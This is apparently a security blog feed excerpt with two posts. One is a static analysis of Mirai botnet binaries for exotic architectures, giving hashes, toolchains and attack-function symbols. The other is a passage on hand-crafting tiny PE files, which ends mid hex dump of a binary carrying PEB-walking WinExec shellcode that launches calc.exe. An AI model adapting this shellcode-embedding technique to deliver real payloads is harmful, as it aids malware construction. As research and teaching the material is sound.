&lt;p>&lt;a href="https://twitter.com/JayTHL">JayTHL&lt;/a> posted about some &lt;a href="https://twitter.com/JayTHL/status/1250545230073511940">IOT malware&lt;/a> they saw earlier today, and I finally found something I&amp;rsquo;d been looking for for a while now. In late 2018/early 2019, I had seen someone post a screenshot of some Mirai binaries, one of which had the extension &lt;code>.nios2&lt;/code>.&lt;/p>
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Nios_II">Nios II&lt;/a> is a processor architecture made by Intel designed to run on FPGAs. Devices that run this are pretty rare and would be used for highly custom or experimental applications, so they would be running a version of Linux made for that architecture. &lt;a href="https://www.intel.com/content/www/us/en/programmable/products/processors/design-tools/embed-partners/ni2-linux-partners.html">Nios II Linux&lt;/a> is a fairly common project for Nios II based devices, but there are many variant OSes that have been created for it.&lt;/p>
&lt;p>In the binaries JayTHL was talking about, there were not only Nios II bins, but binaries targeting other FPGAs as well, Xtensa, and Microblaze. There were also other architectures I&amp;rsquo;d never seen targeted before. ARC, OpenRISC, RISCV64, and AARCH64. I was super excited to finally answer some questions about these binaries, and what specific devices they would actually be run on.&lt;/p>
&lt;h2 id="analysis">Analysis&lt;/h2>
&lt;p>The files I gathered were:&lt;/p>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>SHA256&lt;/th>
&lt;th>File Name&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>6b7fbe2823a38b186d63c8d22514a6a55d01d1694048c6b1a4318e8815a975a4&lt;/td>
&lt;td>malware.aarch64&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>1627c3a82d3847ef82869be0ab773bae0e1f75e285d7747d2c9e45a0d6cc6101&lt;/td>
&lt;td>malware.aarch64be&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>cd5fd0a3613e1d89603f71cde89aff0c13081827136a7758823bb394f27daaf4&lt;/td>
&lt;td>malware.arc&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>67381a5f586e457785b7c0960cc78e87a36fb76b41e6fdbfb342ec73a38abd1f&lt;/td>
&lt;td>malware.arcle-750d&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>a75df2bb4227b5b119e91f9892ff60a92436454d24f10f81b003c0206a293096&lt;/td>
&lt;td>malware.arcle-hs38&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>d133cade798f6327d1221cab9b5b414ebcbadccbda041a33846bf86aa4080a5b&lt;/td>
&lt;td>malware.arm7&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>a1b5d42e3828dc32859c6df7575f7e6ddfd3ecb13d6bda3551dee31b9a1b70a1&lt;/td>
&lt;td>malware.m68k-68xxx&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>17ad4483d28345ec86d2f73b346daa0515d0bfbbb8aba3415fb57105f75516a5&lt;/td>
&lt;td>malware.microblazebe&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>b17f7771197365405256ce557c6455871b2b0519dd0c7a2d5897f97d5b0e86d3&lt;/td>
&lt;td>malware.microblazeel&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>4cbbc7ccfbc4eea461ba373dac71a5f6f49ea36bf28400dbc372b75f850b49be&lt;/td>
&lt;td>malware.nios2&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>89506d19b31ed1dc1fc829a4b99229fcbb68acb8e007c3c10d36351e5c6bf642&lt;/td>
&lt;td>malware.openrisc&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>980c9eced00bb38e1bd8110c191ab0f90f8b8bfb3f6f20f88bc5b11de48b195a&lt;/td>
&lt;td>malware.riscv64&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>e871a6c1153cb8cb994a8c2ec1efca409bce9bc8579c928112d5f3586bc4b035&lt;/td>
&lt;td>malware.x86&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>96076f8295e82f1f0613a3126a35a4647d2ad40d237bcf5da99f3a95d32da7da&lt;/td>
&lt;td>malware.xtensa&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;h3 id="malwarenios2">malware.nios2&lt;/h3>
&lt;p>Let&amp;rsquo;s start by looking at malware.nios2:&lt;/p>
&lt;pre tabindex="0">&lt;code>$ file malware.nios2
malware.nios2: ELF 32-bit LSB executable, Altera Nios II, version 1 (SYSV),
dynamically linked, interpreter /lib/ld-linux-nios2.so.1, for GNU/Linux 4.1.0,
not stripped
&lt;/code>&lt;/pre>&lt;p>So we can confirm this is a Nios II binary, let&amp;rsquo;s see what rabin2 has to say:&lt;/p>
&lt;pre tabindex="0">&lt;code>$ rabin2 -I malware.nios2
Unsupported relocs type 38 for arch 113
Unsupported relocs type 38 for arch 113
arch x86
baddr 0x2000
binsz 51440
bintype elf
bits 32
canary false
class ELF32
compiler GCC: (Buildroot 2018.08.1-00003-g576b333) 7.3.0
crypto false
endian little
havecode true
intrp /lib/ld-linux-nios2.so.1
laddr 0x0
lang c
linenum true
lsyms true
machine &amp;amp;lt;unknown&amp;amp;gt;: 0x71
maxopsz 16
minopsz 1
nx false
os linux
pcalign 0
pic false
relocs true
relro partial
rpath NONE
sanitiz false
static false
stripped false
subsys linux
va true
&lt;/code>&lt;/pre>&lt;p>Radare2 supports Nios II, but rabin2 has trouble understanding what the machine type is. We now know:&lt;/p>
&lt;ul>
&lt;li>The compiler is &lt;code>GCC: (Buildroot 2018.08.1-00003-g576b333) 7.3.0&lt;/code>&lt;/li>
&lt;li>The interpreter is &lt;code>/lib/ld-linux-nios2.so.1&lt;/code>&lt;/li>
&lt;li>The binary is not statically linked&lt;/li>
&lt;li>It is not stripped&lt;/li>
&lt;/ul>
&lt;p>Let&amp;rsquo;s examine some symbols to see if there&amp;rsquo;s anything we can learn from that.&lt;/p>
&lt;pre tabindex="0">&lt;code>$ rabin2 -s malware.nios2
[Symbols]
nth paddr vaddr bind type size name
―――――――――――――――――――――――――――――――――――――――――――――――――――
...snip...
65 ---------- 0x00000000 LOCAL FILE 0 scanner.c
66 0x00006a78 0x00008a78 LOCAL FUNC 296 add_auth_entry
67 0x00005ef8 0x00007ef8 LOCAL FUNC 540 get_random_ip
68 0x00005dbc 0x00007dbc LOCAL FUNC 316 setup_connection
69 0x00006ba0 0x00008ba0 LOCAL FUNC 192 random_auth_entry
70 0x00006114 0x00008114 LOCAL FUNC 724 consume_iacs
71 0x00006528 0x00008528 LOCAL FUNC 616 consume_user_prompt
72 0x00006790 0x00008790 LOCAL FUNC 444 consume_pass_prompt
73 0x000063e8 0x000083e8 LOCAL FUNC 320 consume_any_prompt
74 0x0000694c 0x0000894c LOCAL FUNC 300 consume_resp_prompt
75 0x00006c60 0x00008c60 LOCAL FUNC 332 report_working
76 0x00006ee0 0x00008ee0 LOCAL FUNC 84 can_consume
77 0x00006dac 0x00008dac LOCAL FUNC 308 deobf
78 ---------- 0x00000000 LOCAL FILE 0 util.c
...snip...
95 0x00002440 0x00004440 GLOBAL FUNC 584 killer_kill_by_group
96 0x00003d1c 0x00005d1c GLOBAL FUNC 320 ackattack
98 0x00003010 0x00005010 GLOBAL FUNC 256 connection
99 ---------- 0x0000c190 GLOBAL OBJ 4 RavaugeCumSock
100 0x00001b94 0x00003b94 GLOBAL FUNC 172 decrypt_for_recv
101 0x0000169c 0x0000369c GLOBAL FUNC 424 encrypt_array
102 0x00009000 0x0000c000 WEAK NOTYPE 0 data_start
103 0x000019b4 0x000039b4 GLOBAL FUNC 336 encrypt_by_name
104 0x00007518 0x00009518 GLOBAL FUNC 384 util_itoa
107 0x00005d7c 0x00007d7c GLOBAL FUNC 64 scanner_kill
...snip...
221 ---------- 0x0000c174 GLOBAL OBJ 4 TotalKilled
223 ---------- 0x0000c1b8 GLOBAL OBJ 4 auth_table
224 ---------- 0x0000c19c GLOBAL OBJ 4 rand_str
225 0x00001d1c 0x00003d1c GLOBAL FUNC 444 killer_kill_by_deleted
227 0x00002b5c 0x00004b5c GLOBAL FUNC 1204 cmd_parse
228 0x00003e5c 0x00005e5c GLOBAL FUNC 320 urgattack
229 ---------- 0x00010e04 GLOBAL OBJ 40 savesysproc
230 0x00003bdc 0x00005bdc GLOBAL FUNC 320 synattack
231 ---------- 0x0000c1d0 GLOBAL OBJ 4 scanner_pid
...snip...
&lt;/code>&lt;/pre>&lt;p>All of these symbols point to this being a Mirai variant. Particularly the use of auth_table and deobf, which are related to decrypting values from a 4 byte xor obfuscated table in Mirai variants.&lt;/p>
&lt;p>So now we know that, let&amp;rsquo;s check out the other FPGA targets.&lt;/p>
&lt;h3 id="malwarextensa">malware.xtensa&lt;/h3>
&lt;p>malware.xtensa uses the same compiler as malware.nios2, but targets the &lt;code>/lib/ld-uClibc.so.0&lt;/code> interpreter.&lt;/p>
&lt;h3 id="malwaremicroblaze">malware.microblaze*&lt;/h3>
&lt;p>malware.microblazebe seems to use &lt;code>microblaze-buildroot-linux-uclibc 7.3.0&lt;/code> as it&amp;rsquo;s compiler, and also appears to target uClibc. rabin2 wasn&amp;rsquo;t able to pick that up though, so I confirmed with &lt;code>rabin2 -s malware.microblazebe&lt;/code>. The little endian version &lt;code>malware.microblazele&lt;/code> has the same characteristics, except that it uses little endian format.&lt;/p>
&lt;p>This symbol popped out at me that didn&amp;rsquo;t appear in the others:&lt;/p>
&lt;pre tabindex="0">&lt;code>165 ---------- 0x1002d310 LOCAL OBJ 4 been_there_done_that
&lt;/code>&lt;/pre>&lt;h3 id="malwareopenrisc--malwareriscv64">malware.openrisc &amp;amp; malware.riscv64&lt;/h3>
&lt;p>malware.openrisc uses the following compiler and interpreter:&lt;/p>
&lt;ul>
&lt;li>compiler &lt;code>GCC: (Buildroot 2018.08.1-00003-g576b333) 5.4.0&lt;/code>&lt;/li>
&lt;li>intrp &lt;code>/lib/ld-uClibc.so.0&lt;/code>&lt;/li>
&lt;/ul>
&lt;p>While malware.riscv64 uses these:&lt;/p>
&lt;ul>
&lt;li>compiler &lt;code>GCC: (Buildroot 2018.11-rc2-00003-ga0787e9) 8.2.0&lt;/code>&lt;/li>
&lt;li>intrp &lt;code>/lib/ld-linux-riscv64-lp64.so.1&lt;/code>&lt;/li>
&lt;/ul>
&lt;h3 id="malwarearc">malware.arc*&lt;/h3>
&lt;p>The malware.arc* line uses the following:&lt;/p>
&lt;p>malware.arc&lt;/p>
&lt;ul>
&lt;li>compiler ??&lt;/li>
&lt;li>intrp /lib/ld-uClibc.so.0&lt;/li>
&lt;li>machine ARC Cores Tangent-A5&lt;/li>
&lt;li>static false&lt;/li>
&lt;li>stripped true&lt;/li>
&lt;/ul>
&lt;p>malware.arcle-750d&lt;/p>
&lt;ul>
&lt;li>compiler GCC: (Buildroot 2018.08.1-00003-g576b333) 7.3.1 20180319&lt;/li>
&lt;li>intrp ??&lt;/li>
&lt;li>machine ARC Cores Tangent-A5&lt;/li>
&lt;li>static true&lt;/li>
&lt;li>stripped false&lt;/li>
&lt;/ul>
&lt;p>malware.arcle-hs38&lt;/p>
&lt;ul>
&lt;li>compiler GCC: (Buildroot 2018.08.1-00003-g576b333) 7.3.1 20180319&lt;/li>
&lt;li>machine Synopsys ARCompact V2&lt;/li>
&lt;li>static true&lt;/li>
&lt;li>stripped false&lt;/li>
&lt;/ul>
&lt;h2 id="thoughts">Thoughts&lt;/h2>
&lt;p>The most telling symbol of all is &amp;ldquo;RavaugeCumSock&amp;rdquo;, which was found in most of the binaries. I wasn&amp;rsquo;t able to find this string in any of the collected malware sources that I have, so if anyone has any info please let me know!&lt;/p>
&lt;p>So what have we learned?&lt;/p>
&lt;ul>
&lt;li>
&lt;p>None of the exotic devices use the uclibc.org compilers that most of the classic Mirai variants use. Instead they use buildroot.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Not all of these binaries are statically compiled as previous versions of Mirai are. This means that they could possibly be even LESS portable than other Mirai binaries.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Not all of the binaries are packed or stripped.&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>My main questions are:&lt;/p>
&lt;ul>
&lt;li>What devices are they targeting, if anything? There are very few devices I
know of that run say, Linux on Nios II, and of those devices, they are all
SCADA devices.&lt;/li>
&lt;li>Has there ever been any success with them? Has a bot ever come back and
reported the CPU arch as any of the FPGA/RISC/ARC architectures? I am not
doubting that devices with these arches exist online, but has anyone been
able to infect with these bins?&lt;/li>
&lt;li>What is the infection mechanism? Are there any exploits used? With all of
these rare systems, are there any specific public exploits? It could just
be SSH / Telnet bruteforcing too.&lt;/li>
&lt;/ul>
&lt;p>I&amp;rsquo;ll have to take a closer look later this week to do some dynamic analysis.
The x86 and ARM bins are packed with some packer that isn&amp;rsquo;t UPX (shocker),
and I haven&amp;rsquo;t had a chance to emulate some of these devices before, so I might
just set up Linux on Nios II with my Altera DE0-Nano.&lt;/p>
&lt;p>If you want to see more of the Mirai sources I&amp;rsquo;ve compiled, check out &lt;a href="https://github.com/threatland/TL-BOTS">TL-BOTS&lt;/a>&lt;/p>
&lt;h2 id="shoutouts">Shoutouts&lt;/h2>
&lt;p>Shoutout to JayTHL for making me fly off my couch to pull these apart. Also
hermit for always sharing botnet binaries with me, grenlith for looking out
for these binaries for me, and aneilan for doing that as well. &amp;lt;3&lt;/p></description></item><item><title>Modern PE Mangling</title><link>https://n0.lol/pemangle/</link><pubDate>Sun, 29 Mar 2020 12:00:00 -0400</pubDate><guid>https://n0.lol/pemangle/</guid><description>&lt;p>I&amp;rsquo;ve been wanting to learn more about Windows exploits and shellcode techniques
for a bit, but a lot of resources out there (similarly to Linux), are based on
32 bit version of Windows, are very version specific, and simply don&amp;rsquo;t work on
modern systems.&lt;/p>
&lt;p>I decided to get started by learning more about 64 bit PEs. I really don&amp;rsquo;t know
much about proper Windows API programming, so I wanted to see the bare minimum
required to load and run code on Windows.&lt;/p>
&lt;blockquote>
&lt;p>&lt;strong>WARNING:&lt;/strong> I am not a Windows expert, I am barely a Windows user, so please excuse my noobishness and feel free to hit me up on &lt;a href="https://twitter.com/netspooky">twitter&lt;/a> if you have any corrections or extra info for this.&lt;/p>
&lt;/blockquote>
&lt;h2 id="prior-work">Prior Work&lt;/h2>
&lt;p>Early attempts to create the smallest PE possible were based on 32 bit Windows
versions. Prior to this, you could create beautifuly tiny COM files on DOS using
16 bit assembly.&lt;/p>
&lt;p>The first writeup I read was &lt;a href="https://webserver2.tecgraf.puc-rio.br/~ismael/Cursos/YC++/apostilas/win32_xcoff_pe/tyne-example/Tiny%20PE.htm">this one&lt;/a>, which determined the following limits on
32 bit Windows versions.&lt;/p>
&lt;ul>
&lt;li>Smallest possible PE file: 97 bytes&lt;/li>
&lt;li>Smallest possible PE file on Windows 2000: 133 bytes&lt;/li>
&lt;li>Smallest PE file that downloads a file over WebDAV and executes it: 133 bytes&lt;/li>
&lt;/ul>
&lt;p>Unfortunately, the links to the files on this page are dead, so I could only see
what was listed on the page.&lt;/p>
&lt;p>The binary included here won&amp;rsquo;t run on modern Windows versions, so if we want to
create a tiny binary to run on Windows 10, we&amp;rsquo;ll have to do some more research.&lt;/p>
&lt;p>The consensus I found was that the limit for binary size in 64 bit Windows
versions was 268 bytes. Thanks to the excellent Corkami docs (&lt;a href="https://github.com/corkami/pics/tree/master/binary/pe101">PE101&lt;/a> and &lt;a href="https://github.com/corkami/pics/blob/master/binary/pe102/pe102.pdf">PE102&lt;/a>), I
was able to explore the format a bit more in depth.&lt;/p>
&lt;p>I located a few POCs, and examined how the binaries that were generated were
structured.&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://github.com/corkami/pocs/tree/master/PE">Corkami PE POCs&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/rcx/tinyPE">rcx/tinyPE&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>The header overlay technique that was established in the first writeup seem to
be employed by these POCs, but they don&amp;rsquo;t overlay section headers. The section
headers define the .text segment as well as others, but it appears that they
aren&amp;rsquo;t required for whatever reason.&lt;/p>
&lt;h2 id="first-attempts">First Attempts&lt;/h2>
&lt;p>I decided to keep the tradition of using NASM to write binaries by hand, because
it&amp;rsquo;s easier to keep track of each byte individually and debug.
My POC was based on the rcx/TinyPE repo&amp;rsquo;s smallest-pe.exe file. I created a list
of all of the headers and their sizes / locations to keep track of what was
already there.&lt;/p>
&lt;p>&lt;strong>TODO&lt;/strong> Insert Header Table&lt;/p>
&lt;p>Anything marked with a * means that it is unused. Some of these might have some expected value ranges to respect, so keep that in mind when playing with them!&lt;/p>
&lt;h3 id="dos-header">DOS Header&lt;/h3>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>Index&lt;/th>
&lt;th>Size&lt;/th>
&lt;th>Free?&lt;/th>
&lt;th>Description&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>MA&lt;/td>
&lt;td>2&lt;/td>
&lt;td>&lt;/td>
&lt;td>e_magic&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>MB&lt;/td>
&lt;td>2&lt;/td>
&lt;td>y&lt;/td>
&lt;td>e_cblp&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>MC&lt;/td>
&lt;td>2&lt;/td>
&lt;td>y&lt;/td>
&lt;td>e_cp&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>MD&lt;/td>
&lt;td>2&lt;/td>
&lt;td>y&lt;/td>
&lt;td>e_crlc&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ME&lt;/td>
&lt;td>2&lt;/td>
&lt;td>y&lt;/td>
&lt;td>e_cparhdr&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>MF&lt;/td>
&lt;td>2&lt;/td>
&lt;td>y&lt;/td>
&lt;td>e_minalloc&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>MG&lt;/td>
&lt;td>2&lt;/td>
&lt;td>y&lt;/td>
&lt;td>e_maxalloc&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>MH&lt;/td>
&lt;td>2&lt;/td>
&lt;td>y&lt;/td>
&lt;td>e_ss&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>MI&lt;/td>
&lt;td>2&lt;/td>
&lt;td>y&lt;/td>
&lt;td>e_sp&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>MJ&lt;/td>
&lt;td>2&lt;/td>
&lt;td>y&lt;/td>
&lt;td>e_csum&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>MK&lt;/td>
&lt;td>2&lt;/td>
&lt;td>y&lt;/td>
&lt;td>e_ip&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ML&lt;/td>
&lt;td>2&lt;/td>
&lt;td>y&lt;/td>
&lt;td>e_cs&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>MM&lt;/td>
&lt;td>2&lt;/td>
&lt;td>y&lt;/td>
&lt;td>e_lsarlc&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>MN&lt;/td>
&lt;td>2&lt;/td>
&lt;td>y&lt;/td>
&lt;td>e_ovno&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>MO&lt;/td>
&lt;td>8&lt;/td>
&lt;td>y&lt;/td>
&lt;td>e_res&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>MP&lt;/td>
&lt;td>2&lt;/td>
&lt;td>y&lt;/td>
&lt;td>e_oemid&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>MQ&lt;/td>
&lt;td>2&lt;/td>
&lt;td>y&lt;/td>
&lt;td>e_oeminfo&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>MR&lt;/td>
&lt;td>20&lt;/td>
&lt;td>y&lt;/td>
&lt;td>e_res2&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>MS&lt;/td>
&lt;td>4&lt;/td>
&lt;td>&lt;/td>
&lt;td>e_lfanew PE Sig Addr&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;h3 id="pe-header">PE Header&lt;/h3>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>Index&lt;/th>
&lt;th>Size&lt;/th>
&lt;th>Free?&lt;/th>
&lt;th>Description&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>PA&lt;/td>
&lt;td>4&lt;/td>
&lt;td>&lt;/td>
&lt;td>PE Signature&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>PB&lt;/td>
&lt;td>2&lt;/td>
&lt;td>&lt;/td>
&lt;td>Machine (Intel 386)&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>PC&lt;/td>
&lt;td>2&lt;/td>
&lt;td>&lt;/td>
&lt;td>NumberOfSections&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>PD&lt;/td>
&lt;td>4&lt;/td>
&lt;td>y&lt;/td>
&lt;td>TimeDateStamp&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>PE&lt;/td>
&lt;td>4&lt;/td>
&lt;td>y&lt;/td>
&lt;td>PointerToSymbolTable&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>PF&lt;/td>
&lt;td>4&lt;/td>
&lt;td>y&lt;/td>
&lt;td>NumberOfSymbols&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>PG&lt;/td>
&lt;td>2&lt;/td>
&lt;td>&lt;/td>
&lt;td>SizeOfOptionalHeader&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>PH&lt;/td>
&lt;td>2&lt;/td>
&lt;td>&lt;/td>
&lt;td>Characteristics (no relocs, executable, 32 bit)&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;h3 id="optional-header">Optional Header&lt;/h3>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>Index&lt;/th>
&lt;th>Size&lt;/th>
&lt;th>Free?&lt;/th>
&lt;th>Description&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>OA&lt;/td>
&lt;td>2&lt;/td>
&lt;td>&lt;/td>
&lt;td>Magic (PE32)&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>OB&lt;/td>
&lt;td>1&lt;/td>
&lt;td>y&lt;/td>
&lt;td>MajorLinkerVersion&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>OC&lt;/td>
&lt;td>1&lt;/td>
&lt;td>y&lt;/td>
&lt;td>MinorLinkerVersion&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>OD&lt;/td>
&lt;td>4&lt;/td>
&lt;td>y&lt;/td>
&lt;td>SizeOfCode&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>OE&lt;/td>
&lt;td>4&lt;/td>
&lt;td>y&lt;/td>
&lt;td>SizeOfInitializedData&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>OF&lt;/td>
&lt;td>4&lt;/td>
&lt;td>y&lt;/td>
&lt;td>SizeOfUninitializedData&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>OG&lt;/td>
&lt;td>4&lt;/td>
&lt;td>&lt;/td>
&lt;td>AddressOfEntryPoint&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>OH&lt;/td>
&lt;td>4&lt;/td>
&lt;td>y&lt;/td>
&lt;td>BaseOfCode&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>OI&lt;/td>
&lt;td>4&lt;/td>
&lt;td>y&lt;/td>
&lt;td>BaseOfData&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>OJ&lt;/td>
&lt;td>4&lt;/td>
&lt;td>&lt;/td>
&lt;td>ImageBase&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>OK&lt;/td>
&lt;td>4&lt;/td>
&lt;td>&lt;/td>
&lt;td>SectionAlignment&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>OL&lt;/td>
&lt;td>4&lt;/td>
&lt;td>&lt;/td>
&lt;td>FileAlignment&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>OM&lt;/td>
&lt;td>2&lt;/td>
&lt;td>y&lt;/td>
&lt;td>MajorOperatingSystemVersion&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ON&lt;/td>
&lt;td>2&lt;/td>
&lt;td>y&lt;/td>
&lt;td>MinorOperatingSystemVersion&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>OO&lt;/td>
&lt;td>2&lt;/td>
&lt;td>y&lt;/td>
&lt;td>MajorImageVersion&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>OP&lt;/td>
&lt;td>2&lt;/td>
&lt;td>y&lt;/td>
&lt;td>MinorImageVersion&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>OQ&lt;/td>
&lt;td>2&lt;/td>
&lt;td>&lt;/td>
&lt;td>MajorSubsystemVersion&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>OR&lt;/td>
&lt;td>2&lt;/td>
&lt;td>y&lt;/td>
&lt;td>MinorSubsystemVersion&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>OS&lt;/td>
&lt;td>4&lt;/td>
&lt;td>y&lt;/td>
&lt;td>Win32VersionValue&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>OT&lt;/td>
&lt;td>4&lt;/td>
&lt;td>&lt;/td>
&lt;td>SizeOfImage&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>OU&lt;/td>
&lt;td>4&lt;/td>
&lt;td>&lt;/td>
&lt;td>SizeOfHeaders&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>OV&lt;/td>
&lt;td>4&lt;/td>
&lt;td>y&lt;/td>
&lt;td>CheckSum&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>OW&lt;/td>
&lt;td>2&lt;/td>
&lt;td>&lt;/td>
&lt;td>Subsystem (Win32 GUI)&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>OX&lt;/td>
&lt;td>2&lt;/td>
&lt;td>y&lt;/td>
&lt;td>DllCharacteristics&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>OY&lt;/td>
&lt;td>4&lt;/td>
&lt;td>y&lt;/td>
&lt;td>SizeOfStackReserve&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>OZ&lt;/td>
&lt;td>4&lt;/td>
&lt;td>&lt;/td>
&lt;td>SizeOfStackCommit&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>O1&lt;/td>
&lt;td>4&lt;/td>
&lt;td>&lt;/td>
&lt;td>SizeOfHeapReserve&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>O2&lt;/td>
&lt;td>4&lt;/td>
&lt;td>y&lt;/td>
&lt;td>SizeOfHeapCommit&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>O3&lt;/td>
&lt;td>4&lt;/td>
&lt;td>y&lt;/td>
&lt;td>LoaderFlags&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>O4&lt;/td>
&lt;td>4&lt;/td>
&lt;td>y&lt;/td>
&lt;td>NumberOfRvaAndSizes&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;p>After I got it working, I needed a payload. I remembered the wonderful writeup
by &lt;a href="https://twitter.com/IliyaDafchev">Iliya Dafchev&lt;/a>, &lt;a href="https://idafchev.github.io/exploit/2017/09/26/writing_windows_shellcode.html">&amp;ldquo;Writing Windows Shellcode&amp;rdquo;&lt;/a>, which details a more modern
approach to Windows shellcode. It uses the technique of parsing the PEB
structure to find the base address of kernel32.dll, and then calling WinExec
using arguments on the stack and execute calc.exe.&lt;/p>
&lt;p>As much as I love &lt;a href="http://shell-storm.org/shellcode/">shellstorm&lt;/a>, many of the payloads listed for Windows are
based on much older versions. Some of them use hardcoded addresses which aren&amp;rsquo;t
as portable, so I figured it&amp;rsquo;d be a lot nicer to take an existing payload and
pack it into the binary.&lt;/p>
&lt;p>The first step was loading payload into the binary and seeing if it worked as
is. Fortunately, it did! I was able to just put the payload after the headers
at 0x7C and execute. Here is what that binary looks like.&lt;/p>
&lt;pre tabindex="0">&lt;code>$ xxd tiny304.exe
MC-- MD-- ME-- MF-- MG-- MH--
MA-- MB-- PA------- PB-- PC-- PD-------
00000000: 4d5a 0000 5045 0000 4c01 0000 0000 0000 MZ..PE..L.......
MI-- MJ-- MK-- ML-- MM-- MN-- MO-------
PE------- PF------- PG-- PH-- OA-- OBOC
00000010: 0000 0000 0000 0000 6000 0301 0b01 0000 ........`.......
MO------- MP-- MQ-- MR-----------------
OD------- OE------- OF------- OG-------
00000020: 0300 0000 0000 0000 0000 0000 7c00 0000 ............|...
MR--------------------------- MS-------
OH------- OI------- OJ------- OK-------
00000030: 0000 0000 0000 0000 0000 4000 0400 0000 ..........@.....
OL------- OM-- ON-- OO-- OP-- OQ-- OR--
00000040: 0400 0000 0000 0000 0000 0000 0500 0000 ................
OS------- OT------- OU------- OV-------
00000050: 0000 0000 8000 0000 7c00 0000 0000 0000 ........|.......
OW-- OX-- OY------- OZ------- O1-------
00000060: 0200 0004 0000 1000 0010 0000 0000 1000 ................
O2------- O3------- O4------- CK-------
00000070: 0010 0000 0000 0000 0000 0000 31f6 83ec ............1...
00000080: 1856 6a63 6668 7865 6857 696e 4589 65fc .VjcfhxehWinE.e.
00000090: 648b 5e30 8b5b 0c8b 5b14 8b1b 8b1b 8b5b d.^0.[..[......[
000000a0: 1089 5df8 8b43 3c01 d88b 4078 01d8 8b48 ..]..C&amp;lt;...@x...H
000000b0: 2401 d989 4df4 8b78 2001 df89 7df0 8b50 $...M..x ...}..P
000000c0: 1c01 da89 55ec 8b58 1431 c08b 55f8 8b7d ....U..X.1..U..}
000000d0: f08b 75fc 31c9 fc8b 3c87 01d7 6683 c108 ..u.1...&amp;lt;...f...
